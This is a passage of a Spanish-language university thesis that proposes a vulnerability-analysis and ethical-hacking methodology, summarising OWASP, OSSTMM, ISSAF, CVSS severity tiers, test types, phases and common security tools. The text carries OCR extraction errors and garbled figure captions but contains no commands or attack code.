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INTRODUCCION

La palabra vulnerabilidad se refiere a un fallo o debilidad en un sistema
informatico, el cual permite a un delincuente informatico acceder sin
autorizacion, violar la confidencialidad, integridad y disponibilidad de los datos.
Las vulnerabilidades son los resultados de bugs, errores o fallos en el disefio y
desarrollo del sistema, aunque en un sentido mas amplio se podria decir
también que se puede dar por las limitaciones tecnoldgicas del sistema
implementado ya que en un principio no existe un sistema 100% seguro. Por lo
tanto existen vulnerabilidades teoricas y vulnerabilidades reales (conocidas
como exploits). Las vulnerabilidades generalmente se pueden corregir con
parches de actualizacién, hostfix o en su defecto cambios de versionamiento de
sistemas operativos y programas, en algunos casos se requiere de un cambio
fisico del hardware de los sistemas informaticos. Las vulnerabilidades se
descubren muy seguido en grandes sistemas, y el hecho de que se publiquen
rapidamente por todo internet (mucho antes de que exista una solucién al
problema), Mientras mas conocida se haga una vulnerabilidad, mas
probabilidades de que existan piratas informaticos que quieren aprovecharse
de ellas.

Principalmente las vulnerabilidades reales, son explotadas por codigos o
programas desarrollados conocidos como Exploits, termino definido por
expertos en seguridad informética e investigadores del mismo, el cual hace
referencia a una técnica que se aprovecha de vulnerabilidades, dichas
vulnerabilidades dependen de sus sistemas operativos y configuraciones de
programas gue se estén ejecutando en un computador o servidor y de la red en
la cual se encuentre el dispositivo.

A su vez dichas vulnerabilidades se solucionan cuando se libera las nuevas
versiones de los programas o parches de actualizacion en sistemas operativos,
asi como las buenas practicas en la configuraciéon de los dispositivos
vulnerables, como el cierre de puertos y negacion de acceso a clientes no
autorizados.

Siguiendo recomendaciones de seguridad informatica, se puede llegar a lograr
un sistema informatico seguro, teniendo en cuenta unas pruebas periédicas que
incluyan el circulo de la seguridad informética, puesto que latentemente siempre
habran delincuentes informaticos que quieran violentar la seguridad
implementada en las redes protegidas y abusar de las mimas.
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Por otra parte se encuentran los perfiles de los expertos que se conocen de
metodologias y procedimientos para realizar cierto tipo de actividades de
hacking a las redes informéticas, ellos son conocidos como Ethical Hackers:

Ethical Hackers Termino que nace de la necesidad de diferenciar a un
delincuente informético de aquella persona que tiene el mismo conocimiento,
pero es usado en el aseguramiento de sistemas y redes informaticas. Dichos
profesionales son expertos que atacan sistemas informaticos en nombre de sus
propietarios, con los mismos métodos que sus homologos, en busca de posibles
fallas de seguridad con la finalidad de brindar un informe de todas las
vulnerabilidades encontradas que podrian ser aprovechadas por los piratas
informéticos.

Para tales fines los Ethical hackers han desarrollado lo que se conoce como
pruebas de penetracién, (PEN-TEST por sus siglas en inglés). Las pruebas de
penetracion son conocidas por iniciar actividades de hacking sobre los sistemas
en busca de vulnerabilidades y fallos de los mismos.
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PLANTEAMIENTO DEL PROBLEMA

Cuando una empresa se preocupa por su seguridad a nivel informético, nace la
pregunta: Como podemos saber si estamos realmente protegidos?, ¢, Tenemos
vulnerabilidades en nuestros sistemas?, ¢ Podemos estar seguros de que nada
podra pasar a nivel informatico?, ¢Quién se encuentra capacitado para hacer
una prueba de hacking ético?, o ¢Cémo se puede hacer unas pruebas de
seguridad y verificar si efectivamente la red estard segura? ¢Qué sucederia si
un usuario autenticado dentro de una red corporativa tuviera acceso a niveles
superiores en privilegios de administracién y que para el administrador de red
no fuera de su conocimiento?, ¢Qué sucederia si las aplicaciones disefiadas
por la entidad, no fueran lo suficientemente seguras y estas permitieran exponer
informacion sensible acerca de la organizacion, la cual posteriormente podria
ser usada para realizar ataques transacciones fraudulentas dentro de la red
corporativa?

Para ello se ha planteado una pregunta principal que encierra muchas de las
preguntas planteadas en esta seccion:

¢,Como desarrollar una metodologia para realizar andlisis de una red
informatica, poder determinar las vulnerabilidades y posteriormente de qué
manera se realiza una intrusion?

15



HIPOTESIS

En el desarrollo de una metodologia para hallazgos de vulnerabilidades se debe
determinar si una red informatica con sus respectivos servidores y aplicaciones
se encuentra apta para salida a produccion de forma segura reduciendo al
maximo sus fallos o vulnerabilidades para que no sean aprovechadas por
terceros.
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OBJETIVOS

General

Disefiar una metodologia para hallazgos de vulnerabilidades que permita
realizar pruebas de seguridad, analisis de vulnerabilidades e intrusiones
controladas sobre los sistemas informaticos de una red corporativa, creando un
lineamiento propio y pasos a seguir para poder determinar si un ambiente se
encuentra debidamente asegurado para un entorno productivo.

Especificos
e |dentificacion de fallos de configuracién, contrasefias por defecto,
accesos desatendidos, puertos sin gobierno y politicas de seguridad mal
aplicadas.

¢ Identificar sistemas operativos vulnerables o desactualizados, Identificar
bugs en programas instalados en dispositivos.

e Optimizar recursos econdémicos asignados para consultorias a las
empresas que contratan a terceros para este tipo de actividades,
siguiendo el procedimiento planteado en la metodologia propuesta.

¢ Mediante un resultado final, poder determinar el estado de vulnerabilidad

de un dispositivo, el estado en el que se encuentra la red y poder
clasificar segun el score.

17



JUSTIFICACION

En términos de la necesidad que genera los ataques informaticos, siempre es
importante que una red LAN, corporativa o de campus de Networking, exista un
procedimiento mediante el cual el administrador de cada dispositivo pueda
realizar distintas pruebas de seguridad informatica sobre aplicaciones o
servicios que saldran a produccién. Siendo latente el riesgo de intrusién o un
usuario de la red con ciertos privilegios que le permita abusar del acceso a la
red interna corporativa, para ello se requiere evitar intrusiones controlando
dichos privilegios. Estos procedimientos o metodologias deben estar acoplados
para que el administrador de la aplicaciéon o el administrador de la red, se
encuentre con la posibilidad de realizar un andlisis sin tener un vasto
conocimiento sobre intrusion. Dicho andlisis se realizaré sobre la red de la
universidad Los Libertadores teniendo en cuenta que la metodologia podra ser
aplicada a redes corporativas como la de la universidad.

Es por ello que con este proyecto se realizar4 una metodologia para el andlisis
de vulnerabilidades y posterior intrusion hacia una red corporativa y a partir de
ello entender el riesgo latente y residual que implica no aplicar las politicas de
seguridad informatica.

Posteriormente se podran realizar las correcciones correspondientes, de
acuerdo a un andlisis y resultados de la gestion de vulnerabilidades, esta fase
sera conocida como remediacion, y es donde se realizar la reparacion de los
fallos informéticos encontrados y reportados, para poder conseguir un 6ptimo
aseguramiento sobre los dispositivos analizados.
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LO QUE ESPERA EL LECTOR

Este documento se ha construido con el animo de que el lector entienda como
funciona algunas de las metodologias para andlisis de vulnerabilidades e
intrusiones, observadas desde el punto de vista controlado o ejecutadas por el
administrador de los dispositivos analizados, sin embargo a continuacion se
resume algunas de las metodologias existentes, asi como el desarrollo de una
metodologia que podrd ser usada para el analisis de vulnerabilidades en
dispositivos de redes informaticas y sus aplicaciones.

A continuacién se evidenciardn las fases de la metodologia donde se
mencionan cada uno de sus pasos:

e Recoleccion de informacién

¢ |dentificacion de sistemas y servicios

e Analisis de vulnerabilidades

e Explotacion de vulnerabilidades y pruebas de intrusion
e Presentacion y reporte

Esta metodologia tiene varias fases donde incluye pruebas en diferentes capas
del modelo OSI, pero no indica que una fase tenga que estar implicita dentro de
la posterior, sin embargo es importante el orden en el cual se realizara la
ejecucion de la misma.
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Fundacion Universitaria Los Libertadores

CAPITULO |

1.1 ANTECEDENTES

OWASP es una metodologia desarrollada para realizar pruebas de seguridad
sobre aplicaciones web, la cual a lo largo del tiempo se ha ido convirtiendo en
una metodologia lider para pruebas a nivel de aplicaciones en el protocolo
HTTP.

Figura: Linea del Tiempo OWASP 1

OWASP 2009
OWASP 2010 DEFINE LOS REQUERIMIENTCS
SE DEFINIO LOS RIESGOS DE
SEGURIDAD EN LAS APLICACIONES + Arquitectura de sistema
= Autenficacion
* Inyeccion de Codigo = Administracion de sesion
= Control de acceso
* Ruptura de Sesiones + Cnptografia
+ Criptografia no sequra = Proteccién de datos
» Falla en la restriccidn de URL + Comunicacion segura
» Falta de sequridad en la capa de fransporte + Sequrdad HTTP
+ Re-direccionamientos y reenvios invalidos + Configuracion de Sequndad
- = Buscando Cédigo malicioso
= Seguridad intema

OWASP 2012-2013
+ Almacenamiento inseguro de informacion
+ Debilidades en los controles del servidor
+ Insuficiente proteccion en la capa de transporte
* Inyeccion desde &l lado del cliente
+ Poca autorizacion y autenficacion
* Manipulacion inadecuada de [a sesion
+ Decisiones de seguridad _QWASP 2014 e
+ Fuga de datos + Requenmientos de Autenticacion
- Ruptura de datos cifrados * Requenmientos de administracion de sesion
- Revelacion de informacion Sensible * Requerimientos de confrol de acceso
+ Requenmientos en la manipulacion de informacion
+ Requenmientos en la venficacion de criptografia
= Requerimientos de la proteccion de datos
+ Requerimientos para comunicacion sequra.
* Requerimientos de seguridad HTTP
+ Requenimientos sobre controles maliciosos
+ Requenmientos sobre negocios logicas
» Requerimientos sobre archivos y recursos

OWASP 2015

El proyecto se encuentra en
desamrolle para el afio 2015.

Fuente: Autor del documento
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El manual de la metodologia abierta de comprobacion de la seguridad
(OSSTMM Open Source Security Testing Methodology Manual) Es un estandar
muy completo y normalmente usado en auditorias de seguridad para revisar la
seguridad de los sistemas informaticos desde internet. Este incluye un marcode
trabajo que realiza una descripcién de las fases que debera ejecutar en una
auditoria.

Figura: Resumen OSSTMM 1

«Revisian de la Inteligencia Competitiva

*Revision de Privacidad

CTL L A Y - Recoleccion de Documentos
informacion

*Testeo de Solicitud
*Testeo de Sugerencia Dirigida
*Testeo de las Personas Confiables

*Testeo de PBX
*Testeo del Correo de Voz

. *Revisidn del FAX
Seguridad de
g las *Testeo del Modem
comunicacion S
e

«Busgueda y Verificacion de Vulnerabilidades “‘\
= Testeo de Aplicaciones de Internet \
*Enrutamiento
= Testeo de Sistemas Confiados
«Testeo de Control de Acceso

SRR - Testeo de Sistemna de Deteccion de Infrusos
FIAT L [E - Testeo de Medidas de Contingencia

LTy Fia Logistica y Controles

«Exploracion de Red |
=|dentificacion de los Servicios del Sistema 4

Fuente: Autor del documento
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-Werificacion de Radiacion Electromagnética (EMR]) .
\erificacion de Redes Inalambricas [S02.11]

Verificacion de Redes Bluetooth

\erificacion de Dispositivos de Entrada Inalambricos

Verificacion de Dispositivos de Mano Inalambricos

\erificacion de Comunicaciones sin Cable

Verificacion de Dispesitivos de Vigilancia Inalambricos

\erificacion de Dispositivos de Transaccidn Inalambricos
Verificacion de RFID

\erificacion de Sistemas Infrarrojos _
*Revision de Privacidad i

Fuente: Autor del documento

La metodologia de Test de Penetracion ISSAF se disefi6 para realizar
evaluacion a las redes de trabajo, sistema y control sobre las aplicaciones.

Dicha metodologia se encuentra enfocada en tres fases y ocho pasos de
evaluacion:

Las tres fases son las siguientes:

Figura: Metodologia ISSAF 1

A
 Planificacion
y Preparacion

J

( 7

— Evaluacién

Reportes,

limpieza y
destruccion
de objetos.

Fuente: Autor del documento
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Los siguientes son los pasos que describe la metodologia:

e Recoleccién de Informacion

e Mapeo de la red de trabajo

e |dentificacion de vulnerabilidades

e Penetracion

e Obtener Acceso y escalada de privilegios
e Enumeracion

e Comprometer usuarios remotos y sitios

e Mantener Acceso
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1.1.1 Seguridad para lograr confiabilidad y calidad de los servicios
digitales en internet

Como proyecto de grado, se presentd en la universidad de las Américas
Puebla de México una Tesis llamada “Seguridad para lograr la confiabilidad
y calidad de los servicios digitales en internet” en 2004 presentada por
Carlos Augusto Jerez Lugo para optar por el titulo de ingeniero de Sistemas
computacionales, en este documento se define la seguridad desde el punto
de vista de servicios publicados hacia internet o aplicativos web, donde el
objetivo principal es evaluar y asegurar entornos productivos de las
aplicaciones web. Dicho trabajo aportara al proyecto con la ayuda de los
conceptos planteados y documentacion del mismo (Américas, 2004).

1.1.2 Laseguridad informatica aplicada a la validacién de los datos de
entrada en software especifico.

Como proyecto de grado, se presentd en la universidad Escuela
Colombiana de Carreras industriales en Bogota una Tesis llamada “La
seguridad Informatica aplicada a la validacion de los datos de entrada en
software especifico” en el afo 2012, presentada por Olga Sanchez, Yeimmy
Garzon y Claudia Suarez para optar por el titulo de ingenieria de sistemas.
En este documento se plantea el disefio e implementacion de una
metodologia para la seguridad informatica en la validacion de datos de
software dirigida a usuarios finales, Dicho trabajo aportara al proyecto con
la ayuda de los conceptos planteados y documentacion del mismo
(Sanchez, 2013).
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1.2 MARCO CONCEPTUAL

A medida que ha pasado el tiempo, el avance de los medios tecnhologicos y de
telecomunicaciones, han hecho que se dé el surgimiento de nuevos vectores
de ataque y nuevas formas de delito que han vuelto el internet y sus tecnologias
en objetivos sumamente hostiles para cualquier tipo de red y organizacion o
personas que tengan equipos conectados a internet.

A diferencia de lo que pasaba afios atras, donde las personas que tenian
habilidades en el &rea informatica, disfrutaban investigando dichos aspectos
con el animo de usarlos en pro de la seguridad, ayudandolos a implementar en
las redes corporativas y poco a poco ir evolucionando dichos modelos
investigados. Actualmente se ha ido desviando completamente y dando origen
a nuevos personajes que usan los medios informaticos y su conocimiento con
ayuda de herramientas para delinquir y obtener beneficios econémicos.

Cada dia son encontrados nuevos fallos de seguridad informatica y por lo
general son muy pocos los responsables del area de Tl que logran entender
completamente la importancia que tiene dicha seguridad y como poder abordar
la gravedad del problema que existen en dichas vulnerabilidades, las cuales le
puede llegar a permitir a un atacante violar la seguridad de un entorno
productivo.

Teniendo en cuenta el actual escenario, donde los principales afectados son las
organizaciones en cualquier magnitud, los sistemas de informacion, el dinero y
delincuentes informaticos, se vuelve realmente importante y fundamental idear
estrategias de seguridad que puedan atacar dichas brechas que se abren dia a
dia y que pueden dar lugar a que un atacante genere un impacto tan grave que
muchas veces las corporaciones no se pueden recuperar de ello.
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1.2.1 Definiciones.

Figura: Definicion de Conceptos 1

eDesde el punto de vista informatico corresponde a la
debilidad que posee un sistema permitiendo a un
HH atacante violar la confidencialidad, integridad vy
VUInerabllldad disponibilidad de un sistema de informacién asi mismo
pone en evidencia debilidades de control de acceso a los
sistemas y fallas en sus datos y aplicaciones.

¢ Es la probabilidad de ocurrencia de un evento adverso y
potencialmente desastroso, en informatica se aplica a
todos aquellos eventos que son provocados por fallos o
Amenaza debilidades de los sistemas y que permiten la potencial
explotacion de vulnerabilidades por parte de atacantes y
software malicioso.

eUn Ethical Hacker es un profesional calificado que
entiende y sabe como buscar las debilidades y

Ethical Hacker vulnerabilidades en los sistemas y usa el mismo
conocimiento y herramientas que un hacker
malicioso.

e Consecuencia de la materializacion de una
amenaza.
Ataque

Fuente: Autor del documento.

eEvento, exitoso o no, que atenta sobre el buen
funcionamiento del sistema.

eRecurso del sistema de informacién o relacionado

con éste, necesario para que la organizacion
funcione correctamente y alcance los objetivos
propuestos.
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1.2.2 Anadlisis de Vulnerabilidades

Scoring System Common Vulnerability (CVSS) es un estdndar de la industria
para evaluar la gravedad de las vulnerabilidades de seguridad informatica del
sistema. Se trata de establecer una medida de cuanto se refieren a érdenes de
vulnerabilidad, en comparacién con otras vulnerabilidades.

Esta clasificacion est4 dada de acuerdo con el sistema estandar de clasificacion
de vulnerabilidades informaticas CVSS, El CVSS se encuentra disefiado de
forma que sea facil de entender para cualquier persona de cualquier entidad u
organizacién puedan darle prioridad el orden en el que se debe abordar las
vulnerabilidades informaticas encontradas o que lleguen a afectar de alguna
manera. Independientemente de cual sea la tecnologia utilizada por las
empresas en sus sistemas informaticos.

El CVSS es una iniciativa publica concebida por la National Infraestructure
Assurance Council (NIAC) de EE.UU, un grupo que provee de
recomendaciones al Department of Homeland Security de los EE.UU. Entre las
organizaciones que lo adoptaron tempranamente US National Institute of
Standards and Technology (NIST), Qualys y Oracle. (Kiwi, 2007).

En la actualidad, el CVSS esta bajo la custodia del Forum for International
Response Teams (FIRST) (Kiwi, 2007).
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1.2.3 Definicién del criterio de criticidad en vulnerabilidades.

A continuacion se realiza una descripcion de la clasificacién de cada
vulnerabilidad:

Tabla 1: Descripcion de Vulnerabilidades Segun Severidad
CLASIFICACION DESCRIPCION

*  Vulnerabilidades con riesgo de explotacién
efectiva con acceso a informacion del objetivo.

* Vulnerabilidades con riesgo efectivo de

) explotacion a la Disponibilidad, Integridad y

CRITICA Confidencialidad de la Informacion del objetivo.

¢ Vulnerabilidad sin CVE (common Vulnerabilities and
Exposures) que comprometa realmente al objetivo 6
con Cadigo CVE Certificado (CVE, s.f.).

» Calificacion de CVSS (Common Vulnerabilitiy
Scoring System) de (9-10) (CVSS, s.f.).

* Vulnerabilidades con riesgo de explotacién
posible con acceso a informacion del objetivo.

* Vulnerabilidades con riesgo posible de
explotacion a la Disponibilidad, Integridad y
Confidencialidad de la Informacion del objetivo.

* Vulnerabilidad sin CVE que comprometa
posiblemente al objetivo 6 con Cédigo CVE
Certificado.

» Calificacion de CVSS de (7-9).

* Vulnerabilidades con riesgo de explotacién baja
con acceso a informacion del objetivo.

* Vulnerabilidades con riesgo bajo de explotacién
a la Disponibilidad, Integridad y Confidencialidad

MEDIA de la Informacién del objetivo.

* Vulnerabilidad sin CVE que dificilmente pueda
comprometer al objetivo 6 con Cédigo CVE
Certificado.

+  Calificacién de CVSS de (4-6).

*  Vulnerabilidades con ningun riesgo de
explotacion de acceso a informacién del
objetivo.

*  Vulnerabilidades con ningun riesgo de
explotacion a la Disponibilidad, Integridad y
Confidencialidad de la Informacion del objetivo.

*  Vulnerabilidad sin CVE que No pueda
comprometer al objetivo 6 con Cédigo CVE
Certificado.

+  Calificacién de CVSS de (2-3).

* No se considera como una vulnerabilidad, se
INFORMATIVA considera como informacién importante sobre el
servicio analizado.

Fuente: Autor del documento.

28



Para la determinacion de criticidad de las vulnerabilidades que lleguen a ser
encontradas se puede usar como base principal el valor de gravedad asignado
a cada vulnerabilidad por las herramientas utilizadas en el testing. Posterior a
esta calificacion inicial (que se presenta dentro de criterios de aceptabilidad
definidos en CVSS, documento NISTIR 7435) (Mell, 2007).

Se debe tener en cuenta vulnerabilidades de clasificacion alta, media y baja,
siendo en Ultimas la criticidad de éstas determinada principalmente por la
percepcién del consultor, y estando dicha percepcion definida por:

¢ Laexplotabilidad efectiva de la vulnerabilidad.
e El vector de acceso necesario para la ejecucion de un exploit efectivo.
¢ Lacomplejidad de programacion o de ejecucion del ataque.

e El nivel de autenticacion requerido para el lanzamiento de un ataque
exitoso.

e La disponibilidad de detalles publicos sobre la explotacion de la
vulnerabilidad.

e El nivel de automatizaciéon del proceso de explotacién requerido para
tener éxito en el aprovechamiento de los hallazgos.
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1.2.4 Tipos de Test de Intrusién

Las empresas que se dedican a realizar pruebas de intrusiébn o penetracion,
luego de haber hecho un previo andlisis de las necesidades de la red y sus
clientes se enfocan en las siguientes perspectivas, teniendo en cuenta el nicleo
de negocio y el funcionamiento de la misma:

e Test de intrusion con objetivo: Se buscan vulnerabilidades en
componentes especificos que son de mayor importancia dentro de una
red, considerados por su administrador.

e Testde intrusion sin objetivo: A diferencia de las pruebas de penetracion
con objetivo, esta prueba pretende examinar la totalidad de los
componentes e infraestructura presentes en una red.

e Test Black box (Caja negra): Esta prueba se realiza cuando no se tiene
un conocimiento especifico de la red, simplemente se simula un
atacante que no sabe absolutamente de la red mas alla de una direccion
IP o aplicativo.

e Test Gray Box (Caja Gris): Esta prueba define como informacién previa
algunos objetivos, usuarios de red o algunas tecnologias implementadas
dentro de la red para analizar.

e Test White box (Caja Blanca): Esta prueba define claramente los
objetivos para analizar, asi como las tecnologias implementadas,
usuarios y contrasefas, direccionamiento IP y politicas de seguridad, de
los cuales se tiene un pleno conocimiento para elaborar vectores de
ataque mucho mas especificos.
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1.2.5 Definicién de Escenarios y Objetivos

e [Escenarios

Define los lugares desde donde el consultor realizara las pruebas de

seguridad (EH, s.f.).

ESCENARIO

Escenario 1

Tabla 2: Definicion de Escenarios

DESCRIPCION

El consultor se encuentra ubicado en un
punto de acceso a la red LAN/WAN de la

empresa.

APLICA

SI/INO

Escenario 2

En este lugar, el consultor se encuentra
ubicado dentro del firewall que protege el

area a ser analizada.

SI/NO

Escenario 3

En este escenario, el consultor realiza las
pruebas de seguridad desde una red
externa a la empresa. En la mayoria de los

casos se hace desde Internet.

SI/NO

Fuente: Autor del documento

Escenarios de Pruebas.

Figura: Definicion de Escenarios 1

ESCENARIO 1

ESCENARIO 2

ESCENARIO 3

Pruebas de intrusion desde
la red LAN/WAN

Pruebas de intrusion en la red
de servidores

Pruebas de intrusion desde
Internet

( |

)

Estaciones
de trabajo

&S

Consultor

firewall

85

) Consultor

Firewall

?‘
=

SERVIDORES
OBJETIVO

W
3\

\
\ e\
A
W
)

Consultor

Fuente: Autor del documento
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Los escenarios trabajados en este documento ser& el nimero 1.

1.2.6 Fases del Ethical Hacking

Figura: Fase 1

Fuente: Autor del documento

v' Hace referencia a la fase preparatoria donde los consultores buscan y
obtienen informacién acerca de cada uno de los objetivos.

v' Se buscaran todos los puntos débiles de los objetivos para encontrar
posibles fallos de seguridad en los objetivos.

v' Dependiendo del objetivo en esta fase se podra realizar adquisiciéon de
informacion de diferentes fuentes; empleados, clientes, redes,
operaciones, procesos, entre otros.

v Se realizara esta fase adquiriendo informacion de la compaiia y de los
sistemas, a su vez se efectuaran técnicas de adquisicion de informacion
directamente a los sistemas objetivos analizados.

Figura: Fase 2

Fuente: Autor del documento.

Esta fase hace referencia a los escaneos de seguridad realizados a cada uno de
los objetivos analizados, se exponen los siguientes escaneos de seguridad
informética:

v' Escaneo de dispositivos activos en la red.
o Analisis de dispositivos activos en la red.

o Trazabilidad de la ruta desde el equipo del consultor hacia el
objetivo.
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v' Escaneo de puertos abiertos, cerrados y filtrados (UDP, TCP).
o Andlisis de puertos sospechosos.
v' Escaneo de servicios asociados a los puertos identificados.
o Andlisis de puertos abiertos.
v Escaneo de Vulnerabilidades.
o Andlisis de Vulnerabilidades. Cadigos CVE —CVSS.
v' Escaneo de red asociada al dispositivo ha analizado.
o Analisis de seguridad perimetral.

v' Escaneo realizando técnicas de evasion a los equipos de seguridad
perimetral.

v' Escaneo de enumeracion.

o ldentificacion de usuarios asociados a cada dispositivo.
v' Escaneo de Sistema Operativo.

o Identificacion del Sistema Operativo del objetivo.

Figura: Fase 3

Test de Intrusion - PENTEST

Fuente: Autor del documento

Esta fase simula los métodos que un intruso utilizaria para realizar un acceso
no autorizado a la organizacion o a algun dispositivo analizado.

En este punto aprovechan las vulnerabilidades altas, medias y bajas, asi como
los errores de programacion, las configuraciones por defecto, y las malas
practicas de seguridad informatica y de la informacion por parte de los
administradores de las TICs a nivel corporativo.

Se identificaran los puntos criticos en la infraestructura informéatica en las cuales
una persona con conocimientos medios y avanzados podria realizar ataques de
forma mal intencionado contra la organizacién para algin fin personal o
comercial.

Es posible que algunas vulnerabilidades que se detecten, no sean explotables
en ese caso particular (tipo de plataforma, origen del ataque, etc.).
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Figura: Fase 4

Fuente: Autor del documento.

Tiene como objetivo presentar los resultados finales de todos los dispositivos
analizados, exponiendo los hallazgos significativos y los riesgos identificados a
lo largo de las fases.

Evidencias de descubrimientos Criticos (de ser necesario): En el momento
de identificar total o parcialmente una vulnerabilidad de gran impacto, que
presente un riesgo inminente e inmediato al cliente, a criterio del equipo ejecutor
de las Pruebas de PENTEST, se entregara una evidencia con el detalle de la
vulnerabilidad y la forma de mitigarlas, para ser implantadas por la organizacion
inmediatamente.

Informe Técnico: Este documento contiene la informacion recolectada en las
diferentes fases del proceso de ejecucion de las Pruebas de los objetivos. En
éste, se presentan equipos y servicios identificados, las vulnerabilidades
encontradas clasificadas segun el nivel de impacto para la seguridad del cliente,
con su solucibn recomendada y un analisis del estado actual de la
infraestructura de seguridad de tecnologia de informacion de la organizacion.
Las vulnerabilidades que se reportan siguen los parametros de CVE, CVSS,
CERT, BID y/o OSVDB.

Figura: Fase 5

Fuente: Autor del documento

La fase de RE-TEST es una fase en la cual se realiza nuevamente un test para
verificar si las vulnerabilidades encontradas fueron debidamente solucionadas
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Figura: Fase 6

Fuente: Autor del documento

La ultima fase tiene como objetivo presentar los resultados finales de todos los
dispositivos analizados, exponiendo los hallazgos significativos y los riesgos
identificados alo largo de las fases.

Informe Técnico / Ejecutivo: Este documento contiene la informacion
recolectada en las diferentes fases del proceso de ejecucion de las pruebas de
los objetivos. En éste, se presentan equipos y servicios identificados, las
vulnerabilidades encontradas clasificadas segun el nivel de impacto para la
seguridad de la red analizada, con su solucion recomendada y un analisis del
estado actual de la infraestructura de seguridad de tecnologia de informacién
de la organizacién. Las vulnerabilidades que se reportan siguen los parametros
de CVE, CVSS, CERT, BID y/o OSVDB.

NOTA: Para el ejercicio presentado en este documento, Unicamente se
realizard las fases 1, 2y 3.

1.2.7 Software Recomendado

Para la ejecucién de las pruebas de hacking ético, se deberan realizar con las
siguientes herramientas:

- Analizador de vulnerabilidades “Tenable Nessus ProfessionalFeed”

Esta herramienta es un software utilizado para buscar errores de programacion,
configuraciones por defecto y vulnerabilidades en equipos informaticos.
Algunas de las caracteristicas claves de la herramienta son:

Identificar vulnerabilidades de los sistemas operativos instalados.
Reportar posibles soluciones a las vulnerabilidades encontradas.
Software ASV por el PCI DSS.

Software propietario licenciado.

Base de datos actualizada diariamente por el CVE.
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Fuente: Imagen descargada de http://www.tenable.com

- Nmap ("Network Mapper")

Es una herramienta libre y de cédigo abierto utilizada para la exploracion de red
o de auditoria de seguridad.

Nmap utiliza paquetes IP en bruto en formas novedosas para determinar qué
hosts estan disponibles en la red, qué servicios (nombre de la aplicacion y
version), qué sistemas operativos (OS y versiones) estan corriendo, que tipo de
filtros o cortafuegos estan en uso, y docenas de otras caracteristicas. Fue
disefiado para escanear rapidamente redes muy grandes, pero funciona muy
bien contra los equipos independientes.

Nmap se ejecuta en todos los sistemas informaticos operativos principales.

Figura: Herramienta 2

Fuente: Imagen descargada de http://www.nmap.org

Distribucién para pruebas de seguridad “KALI”, “BackTrack” y “BugTraq”

KALI y BackTrack son distribuciones GNU/Linux en formato LiveCD pensada y
disefiada para la auditoria de seguridad y relacionada con la seguridad
informatica y hacking ético en general. Actualmente tiene una gran popularidad
y aceptacion en la comunidad que se mueve en torno a la seguridad informatica.


http://www.nmap.org/

Incluye una larga lista de herramientas de seguridad y de hacking listas para
usar, entre las que destacan numerosos scanners de puertos Yy
vulnerabilidades, bases de datos de exploits, sniffers, herramientas de analisis
forense y herramientas para la auditoria Wireless, entre otras orientas a pruebas

de Hacking Etico en todas sus fases.

Figura: Herramienta 3

-

Rnatt. o
E{KEXB.D B.D[N]UDZX}

< back | track

Fuente: Imagen descargada de htp://www.kali.org

Bugtrag es una distribucion GNU/Linux desarrollada ex profeso para servir como
potente herramienta en auditorias de seguridad, andlisis forense, pruebas de
penetracion y demas temas relacionados con la seguridad informética.

Figura: Herramienta 4
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Fuente: Imagen descargada de http://www.bugtrag.org
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RAPID [ymetasploit &

Metasploit Versién Framework y Community

Identificar las vulnerabilidades criticas que podrian conducir a una
violacién de datos.

Reducir el esfuerzo necesario para las pruebas de HACKING ETICO, lo
gue le permite probar mas sistemas con mas frecuencia.

Contiene una base datos de exploits, para realizar intrusiones contra los
objetivos descritos en el alcance de la propuesta.

Descubra los modelos débiles de confianza causada por las
credenciales compartidas que son vulnerables a ataques de fuerza
bruta.

Localizar la informacion sensible de forma automatizada, con la
explotacion post-busquedas de archivos de sistema.

Figura: Herramienta 5

W

N\

Metasploit (Metasploit Version 4.5)

Fuente: Imagenes descargadas de http://rapid7.com y http://metasploit.com
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- Otros Software y Distribuciones

Figura: Herramienta 6

PHLAK wirisiaxs

. [N (A
Mmacunetix MEEIGE KRR

'l ataYeal B

ACKING-DATAIASE

Fuente: Imagenes descargadas de http://www.w3af.org, http://www.owasp.org,

https://code.google.com/p/skipfish/, https://www.paterva.com/web6/,
http://sourceforge.net/projects/phlakproject/, http://www.wifislax.com/,
https://www.acunetix.com/, https://www.wireshark.org/,
http://www.oxid.it/cain.html,
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http://www.w3af.org/
http://www.owasp.org/
https://code.google.com/p/skipfish/
https://www.paterva.com/web6/
http://sourceforge.net/projects/phlakproject/
http://www.wifislax.com/
https://www.acunetix.com/
https://www.wireshark.org/
http://www.oxid.it/cain.html

Las Bases de Datos consultadas de nuestros ANALISIS DE
VULNERABILIDADES Y EXPLOITS se encuentran sustentadas por las
siguientes entidades:

https://nvd.nist.gov/: National Vulnerability Database (nvd) , es el repositorio del
gobierno de los Estados Unidos donde se almacenan las normas de datos de
gestion de vulnerabilidades basadas mediante el protocolo de Automatizacién
de contenido de Seguridad o Content Automation Protocol ( SCAP siglas en
ingles ) . Estos datos permiten la automatizacion de la gestion de la
vulnerabilidad, ademéas de medir la seguridad y el cumplimiento. NVD incluye
bases de datos de listas de control de seguridad, fallas de software relacionados
con la seguridad, errores de configuracion, nombres de productos y métricas de
impacto.

Sponsored by N Isr
DHS National Cyber Security Division/US- CERT A I National Institute of
ndards chno

Natlonal Vulner*abn ity Iﬁ:abase

automating vulnerability manage ity measurement and compliance checking

Fuente: Imagen descargada de https://nvd.nist.gov/:

https://cve.mitre.org/: En esta base de datos se podra encontrar informacion de
las vulnerabilidades reportadas con fechas actualizadas y una descripcién de la
misma.

( s

2 !

e .\ = Common Vulnerabilities and Exposures
\\-_.-—) -

The Standard for Information Security Vulnerability Names
r
Celebrating 10 Years

Fuente: Imagen descargada de https://cve.mitre.org

http://www.tenable.com/ : Los desarrolladores de la herramienta para el andlisis
de vulnerabilidades Nessus, tienen una base de datos que puede ser
consultada para informacién de vulnerabilidades.

C@STENABLE

Network Security

Fuente: Imagen descargada de http://www.tenable.com/
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http://www.securityfocus.com/: Agencia de los estados unidos que trabaja con
un equipo de profesionales e investigacion de las vulnerabilidades informéticas,
en dicha web se puede realizar una consulta y reporte de vulnerabilidades
recientes.

US-CERT

UNITED STATES COMPUTER EMERGENCY READINESS TEAM

Fuente: Imagen descargada de http://www.securityfocus.com/

http://www.rapid7.com/: Al igual que los desarrolladores de Tenable-Nessus,
Rapid7 desarroll6 también su propia base de datos de vulnerabilidades, la cual
es posible consultar en su web.

< RAPID7

Fuente: Imagen descargada de http://www.rapid7.com/

https://www.exploit-db.com/: En esta pagina se puede consultar los exploits
desarrollados a nivel mundial para explotar las vulnerabilidades encontradas o
reportadas por los analizadores de vulnerabilidades.

EXPLOIT

DHTHBRSE .

Fuente: Imagen descargada de https://www.exploit-db.com/

Figura: Herramienta 7
